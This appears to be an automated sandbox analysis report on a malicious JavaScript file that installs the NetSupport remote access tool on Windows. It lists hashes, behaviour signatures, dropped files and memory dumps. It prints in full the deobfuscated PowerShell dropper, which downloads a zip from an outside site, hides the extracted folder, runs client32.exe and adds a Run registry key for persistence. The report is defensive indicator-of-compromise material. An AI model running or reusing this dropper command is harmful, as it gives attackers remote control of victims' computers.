Analysis

  • max time kernel
    135s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31/05/2023, 19:50

General

  • Target

    02777299.js

  • Size

    47KB

  • MD5

    63328c7d7ed6136a9cc36fb0d813a140

  • SHA1

    70134bb3c6cfd29cc5ce9dee42a5d2c5c0d113c1

  • SHA256

    f00ad844ce61ad9ad2e465b7a8faf960f767f15d133bb8e1911c8b114998e886

  • SHA512

    0825f7eb7e17c7f958f8a4893cb8b34b00564c0602ae71ce174467a67dce5dd01d7b7490cf9ccf973ab46f6e60be76b7bac5f8c15c41e36548d83dd6281788e6

  • SSDEEP

    768:/y2MmuxpUC7Aa7AoSQnMzIrQxLov4Xkh/:/yAuwCN7Ag4Ir34g/

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://www.snappyshop.it/img/index.php

Signatures

  • NetSupport

    NetSupport is a remote access tool sold as a legitimate system administration software.

  • Blocklisted process makes network request 6 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 5 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Script User-Agent 4 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\02777299.js
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4976
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "cd $env:AppData; $linok='https://www.snappyshop.it/img/index.php'; $rnums=Get-Random -minimum 5 -maximum 9; $r_rnum=Get-Random -minimum 1051 -maximum 8989; $chrs='abcdefgjklmntuvwxyzABCDEFGHILMNOTUWXYZ1256890'; $r_strng=''; $ran=New-Object System.Random; for ($i=0; $i -lt $rnums; $i++) {$r_strng+=$chrs[$ran.next(0, $chrs.Length)]}; $rzip=$r_strng+'.zip'; $path=$env:APPDATA+'\'+$rzip; $pezip_=$env:APPDATA+'\ClockUTCSync_'+$r_rnum; Start-BitsTransfer -Source $linok -Destination $Path; expand-archive -path $path -destinationpath $pezip_; $FOLD=Get-Item $pezip_ -Force; $FOLD.attributes='Hidden'; Remove-Item -path $path; cd $pezip_; start client32.exe; $fstrng=$pezip_+'\client32.exe'; $ranome='ClockUTCSync_'+$r_rnum; New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name $ranome -Value $fstrng -PropertyType 'String'; #DJ)Vn-*VefLH2$nIZ$+K5k$51H@&(DWsPnSehN)Z@t*bNWXLY#NoAbE7+n-_Wj7GJRu)dwDoE_NY)y%=!Qc34g4OE(w170JHG*m40o3X@ZMlEIFPR3R*DK1xaxwCj!SrsJu#Q*dksWr@Dfkg+DhFoEaBotYPwt6@x_!^0@WJ%k6^N6cEXgmIvSTHX7P%3Ew&5wc2lr=Zyg8SGiud8jKxvT_X7+x_0)i!AQZ9jCuREN1P_i&jWaRx+kFuy5vt%&zJlcKmF(WFW805DGF3B&42+bm90Bb+0afb^fx4TznoKqo(8c7trfC8KuNjDoS2X(9VQ$p^2sD!J##DxpQkiQXh7htSFenHQfgFSzt@Qh4FV3UmaV@z)u83M13Ga#By!Wfjg!L9R5vRlxpVxFQG1y$LfajGS^tb@6i8N7@jz7@UL=V6LiSyzG8mo^UwqD#rbO)k5L^duDv9oKB@KLStBoeBoJu9mBHi3V-T_bO(pS%t&REo#c8Fk3cFuJ@)dDcZ(ZZxLLB29HGfAK64%Hhi4$&7PnutcSGq6w2^W=o%^xAkb4PwpMLP#9j6g6=hib%sCsITzW)(=1Zo0oU0HI0rjqyy%HKz2pSpElgvuVCuAYc&HSL9fTbvTO9u)%QF@oOwnPOG(^a*s)AM8+cw@KwpjFC$rjHPfXiQqBUb$OLpgD0zMn_6%gHpUon%$In=VMlL#iR!o%!mFW0CUzqP0*pfp$llBf$c%&%5Rqkv8_&oz4zEhZ2kfETX++N%!U4u2&22J__7V-9SkIN1^42AIVCFdZoB7BcVWwfBjLpmERUz#NXlAS0cUbx$WdupRpJR9^N=gzBn%bSA0=B+HRay$q@naufzg6S*a^&_SZwjCs#h52wZ*Ld17Gb_%Lxo7+h7SEx*=!vBzIEdmb+yWh*CT#NmbLA+42ieEp+UGRGAeTe7UQ$Vftof(T@g8rmF)onKgHn5acmfK2QY^Sfsw)^2LcDBopVHr#&oj1OAf%HlsRQXCgv(Y1w)sDcp+pGZVIuvDkHjzd)RCP0IH3aaOc)hLU9-yIAEHj&uVfccjCGXPmy9Z)p)=1$^1r$%Gko5cS_sfJbi_l97T_3UiqWxfTjL9lD&lB6KB^$vj(1SV0_VZ&gvxZ_XVFTwN2)udo!@P!TbK8R0b8R=!n24L84@-L^K%$Y%H%0cw^44CK2KV-o+$!Lw=vRcVMX9-3z=Ie1TR&TZa5)im8^nc@!$^tzJW#34ZkbIP72a=H8rmYasBcx1059_OF+N4v=n862^KQ=X55dG#%9tO(Re!fwKD(Hfr=rZ%X%+Gt8a_^5rlV_(xh%$DD(FdfFnsKhw#b)bY=&T&PmGT4$$$RM0uyZC!Zh1(Kf)mlvp_to-J*^%%nhW7*TeUwDetsMoNgidiABDwwpN#^RQxtNEgp*nlFzoC(gwwvmBN#s7b4Dtwrn&Rjp=!Iz=1Rg#M0UY^+d7447Njvt1dFPITGhECWPJsZ7O2I$KBf^CjiK=jYA2w4QE0FX-!o4)bjH*ufMRo48#e7KuEBEgDw%pMYy0L)=CKd-Sp29yjez!pUz91oOCFktfL_fyACCH4t++6dx4^4FFK5j0!jcZz-XV579EV)1LZZ5f9mwjjRc630ZJ0&6*kaWZDWEY#ME*BQNp3PjX(z)JIQsg*DOLESgp#lK8zE1qVBf5slW2(kAamrvO6C9q_pLK2I^)Jo-tCZTl^U)y==W5g4MmK$y-+jWe^jOcD1o-0aG(ga20@8+=5U$^r^4*b=2+%I+b07oKLRGcy+WzCU-Q)m^ZCCS$vNup)VyTLrZA!%&-vMI0_-7NBicc)+jsA$M+=rT4CLvMcmq+0z7Lz3KqR_=E)-oN0-o=BdnG%F2C^OPLcfToe2+!5dn&Lg53vktKx+nhHKjZ*Q5D*&MB$QQ3rqN8=s8mmmt2%49oU69p_7OBr5@C1PdBv!7q6DzA)+lcEWugUx!T_^*w$CVq#2VxIXkhBfoNHG"
      2⤵
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4776
      • C:\Users\Admin\AppData\Roaming\ClockUTCSync_5359\client32.exe
        "C:\Users\Admin\AppData\Roaming\ClockUTCSync_5359\client32.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:3924

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vnhsynwr.x3f.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Users\Admin\AppData\Roaming\ClockUTCSync_5359\HTCTL32.DLL

          Filesize

          320KB

          MD5

          c94005d2dcd2a54e40510344e0bb9435

          SHA1

          55b4a1620c5d0113811242c20bd9870a1e31d542

          SHA256

          3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899

          SHA512

          2e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a

        • C:\Users\Admin\AppData\Roaming\ClockUTCSync_5359\HTCTL32.DLL

          Filesize

          320KB

          MD5

          c94005d2dcd2a54e40510344e0bb9435

          SHA1

          55b4a1620c5d0113811242c20bd9870a1e31d542

          SHA256

          3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899

          SHA512

          2e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a

        • C:\Users\Admin\AppData\Roaming\ClockUTCSync_5359\MSVCR100.dll

          Filesize

          755KB

          MD5

          0e37fbfa79d349d672456923ec5fbbe3

          SHA1

          4e880fc7625ccf8d9ca799d5b94ce2b1e7597335

          SHA256

          8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18

          SHA512

          2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630

        • C:\Users\Admin\AppData\Roaming\ClockUTCSync_5359\NSM.LIC

          Filesize

          258B

          MD5

          1b41e64c60ca9dfadeb063cd822ab089

          SHA1

          abfcd51bb120a7eae5bbd9a99624e4abe0c9139d

          SHA256

          f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d

          SHA512

          c97e0eabea62302a4cfef974ac309f3498505dd055ba74133ee2462e215b3ebc5c647e11bcbac1246b9f750b5d09240ca08a6b617a7007f2fa955f6b6dd7fee4

        • C:\Users\Admin\AppData\Roaming\ClockUTCSync_5359\PCICHEK.DLL

          Filesize

          18KB

          MD5

          104b30fef04433a2d2fd1d5f99f179fe

          SHA1

          ecb08e224a2f2772d1e53675bedc4b2c50485a41

          SHA256

          956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd

          SHA512

          5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f

        • C:\Users\Admin\AppData\Roaming\ClockUTCSync_5359\PCICL32.DLL

          Filesize

          3.6MB

          MD5

          d3d39180e85700f72aaae25e40c125ff

          SHA1

          f3404ef6322f5c6e7862b507d05b8f4b7f1c7d15

          SHA256

          38684adb2183bf320eb308a96cdbde8d1d56740166c3e2596161f42a40fa32d5

          SHA512

          471ac150e93a182d135e5483d6b1492f08a49f5ccab420732b87210f2188be1577ceaaee4ce162a7acceff5c17cdd08dc51b1904228275f6bbde18022ec79d2f

        • C:\Users\Admin\AppData\Roaming\ClockUTCSync_5359\PCICL32.dll

          Filesize

          3.6MB

          MD5

          d3d39180e85700f72aaae25e40c125ff

          SHA1

          f3404ef6322f5c6e7862b507d05b8f4b7f1c7d15

          SHA256

          38684adb2183bf320eb308a96cdbde8d1d56740166c3e2596161f42a40fa32d5

          SHA512

          471ac150e93a182d135e5483d6b1492f08a49f5ccab420732b87210f2188be1577ceaaee4ce162a7acceff5c17cdd08dc51b1904228275f6bbde18022ec79d2f

        • C:\Users\Admin\AppData\Roaming\ClockUTCSync_5359\client32.exe

          Filesize

          101KB

          MD5

          c4f1b50e3111d29774f7525039ff7086

          SHA1

          57539c95cba0986ec8df0fcdea433e7c71b724c6

          SHA256

          18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d

          SHA512

          005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5

        • C:\Users\Admin\AppData\Roaming\ClockUTCSync_5359\client32.exe

          Filesize

          101KB

          MD5

          c4f1b50e3111d29774f7525039ff7086

          SHA1

          57539c95cba0986ec8df0fcdea433e7c71b724c6

          SHA256

          18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d

          SHA512

          005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5

        • C:\Users\Admin\AppData\Roaming\ClockUTCSync_5359\client32.exe

          Filesize

          101KB

          MD5

          c4f1b50e3111d29774f7525039ff7086

          SHA1

          57539c95cba0986ec8df0fcdea433e7c71b724c6

          SHA256

          18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d

          SHA512

          005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5

        • C:\Users\Admin\AppData\Roaming\ClockUTCSync_5359\client32.ini

          Filesize

          918B

          MD5

          49400d0ebc34337537a77a3edb5bf120

          SHA1

          6c3e1a7760e4b33ee34d475e71dc3ed71fc0c6fe

          SHA256

          36cb67c124cbf975b03a7cd5e6cf026368fd78ba7d486a78dac242c71e41ece9

          SHA512

          65ec9c7a6230ee3daa182c5c470ded00af9e3725bdbf7dac7c7c12a2136b5bb7914f63dcef641186db76301f43f156dc512c7be4922f3559a5d5e028c7e4df86

        • C:\Users\Admin\AppData\Roaming\ClockUTCSync_5359\msvcr100.dll

          Filesize

          755KB

          MD5

          0e37fbfa79d349d672456923ec5fbbe3

          SHA1

          4e880fc7625ccf8d9ca799d5b94ce2b1e7597335

          SHA256

          8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18

          SHA512

          2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630

        • C:\Users\Admin\AppData\Roaming\ClockUTCSync_5359\pcicapi.dll

          Filesize

          32KB

          MD5

          34dfb87e4200d852d1fb45dc48f93cfc

          SHA1

          35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641

          SHA256

          2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703

          SHA512

          f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2

        • C:\Users\Admin\AppData\Roaming\ClockUTCSync_5359\pcicapi.dll

          Filesize

          32KB

          MD5

          34dfb87e4200d852d1fb45dc48f93cfc

          SHA1

          35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641

          SHA256

          2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703

          SHA512

          f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2

        • C:\Users\Admin\AppData\Roaming\ClockUTCSync_5359\pcichek.dll

          Filesize

          18KB

          MD5

          104b30fef04433a2d2fd1d5f99f179fe

          SHA1

          ecb08e224a2f2772d1e53675bedc4b2c50485a41

          SHA256

          956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd

          SHA512

          5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f

        • memory/4776-191-0x0000027DA8E20000-0x0000027DA903C000-memory.dmp

          Filesize

          2.1MB

        • memory/4776-153-0x0000027DA9530000-0x0000027DA953A000-memory.dmp

          Filesize

          40KB

        • memory/4776-138-0x0000027D90740000-0x0000027D90750000-memory.dmp

          Filesize

          64KB

        • memory/4776-152-0x0000027DA9540000-0x0000027DA9552000-memory.dmp

          Filesize

          72KB

        • memory/4776-151-0x0000027D90740000-0x0000027D90750000-memory.dmp

          Filesize

          64KB

        • memory/4776-150-0x0000027D90740000-0x0000027D90750000-memory.dmp

          Filesize

          64KB

        • memory/4776-149-0x0000027DA9500000-0x0000027DA9514000-memory.dmp

          Filesize

          80KB

        • memory/4776-144-0x0000027D90960000-0x0000027D90982000-memory.dmp

          Filesize

          136KB